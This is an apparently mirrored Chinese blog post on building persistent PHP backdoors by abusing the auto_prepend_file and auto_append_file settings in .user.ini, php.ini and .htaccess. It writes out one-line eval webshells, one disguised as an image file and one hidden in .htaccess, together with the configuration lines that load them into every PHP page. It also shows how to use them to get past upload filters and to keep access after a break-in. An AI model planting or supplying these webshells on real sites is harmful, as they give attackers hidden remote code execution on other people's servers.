zoukankan      html  css  js  c++  java
  • 利用php配置文件构成后门

    1、.user.ini造成后门

    1).user.ini

    官网解释为:
    自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。
    除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
    在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
    两个新的 INI 指令, user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。
    user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是 .user.ini。
    user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。


    跟apache里的.htaccess相比,它的使用范围更广泛(CGI/FastCGI SAPI),只要是以fastcgi运行的php都可以用这个方法,nginx和iis下都可以。

    跟php.ini的默认配置相比,这里可以使用除PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。


    注:php配置设定里的几种模式:
    image.png
    详细描述参考:https://www.php.net/manual/zh/configuration.changes.modes.php

    2)构造思路

    这里可以通过.user.ini设置配置选项(如php.ini下设置一样),但必须在相应的模式下才允许设置,但这里可以利用两个配置项设置一个简单的后门:
    image.png
    这两个选项的作用是,在php文件加载前,提前加载一个文件,如同require函数
    例:auto_prepend_file=1.php
    在访问该网站的php文件时,会自动先加载1.php


    所以构造后门的思路是:借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

    3)测试

    测试环境:apache+php7.3


    首先构建一句话木马1.png(伪装成图片):

    <?php @eval($_request['shell']);?>
    

    image.png
    然后.user.ini :

    auto_prepend_file=1.png
    

    image.png
    将.user.ini和1.png放到对应网站文件夹里,然后访问该文件夹里的任意php文件:
    image.png
    然后访问test.php,成功执行:
    image.png


    这里一般可以在某些文件上传场景中利用,不允许上传php文件,但如果该上传文件下存在php文件,就可以上传一个.user.ini和后门上去,尝试是否可以成功(思路与.htaccess差不多)


    2、php.ini造成的后门

    与上文一样,均是利用auto_prepend_file或auto_append_file选项,这里需要对php.ini文件进行修改。。所以我感觉挺鸡肋的,如果在已经渗透成功后留后门也是一种方式。

    但使用php.ini时,需要结合include_path选项一起使用,不然其不知道去哪寻找预加载的文件
    image.png
    其会去include_path里设置的路径下去寻找;所以一般利用方式如下:

    假设预加载的后门1.php在/includes
    则在php.ini里添加:
    include_path='/includes'
    
    auto_prepend_file=1.php
    

    image.png

    3、.htaccess造成的后门

    与上述两种方式类似,同样利用auto_append_file或auto_prepend_file;
    与绕过文件上传时上传.htaccess原理类似,不过这里改成了预加载,而不是将图片按php文件解析

    1)利用前需要满足两个条件:

    Apache中修改配置文件httpd.conf
    1、修改如下内容
    Options FollowSymLinks
    AllowOverride None
    为:
    Options FollowSymLinks
    AllowOverride All
    
    2、开启rewrite模块
    LoadModule rewrite_module modules/mod_rewrite.so
    

    image.png


    2)构造.htaccess文件:

    php_value auto_append_file .htaccess
    #<?php eval($_REQUEST['shell']);
    

    image.png


    3)然后访问任意php文件都会加载该后门:
    image.png

  • 相关阅读:
    数据结构和算法(Golang实现)(13)常见数据结构-可变长数组
    数据结构和算法(Golang实现)(5)简单入门Golang-接口
    数据结构和算法(Golang实现)(3)简单入门Golang-流程控制语句
    数据结构和算法(Golang实现)(4)简单入门Golang-结构体和方法
    分库分布的几件小事(一)数据库如何拆分
    分布式的几件小事(十二)分布式事务
    分布式的几件小事(十一)分布式session如何实现
    分布式的几件小事(十)分布式锁是啥
    分布式的几件小事(九)zookeeper都有哪些使用场景
    分布式的几件小事(八)分布式服务接口请求的顺序性如何保证
  • 原文地址:https://www.cnblogs.com/zw1sh/p/14362826.html
Copyright © 2011-2022 走看看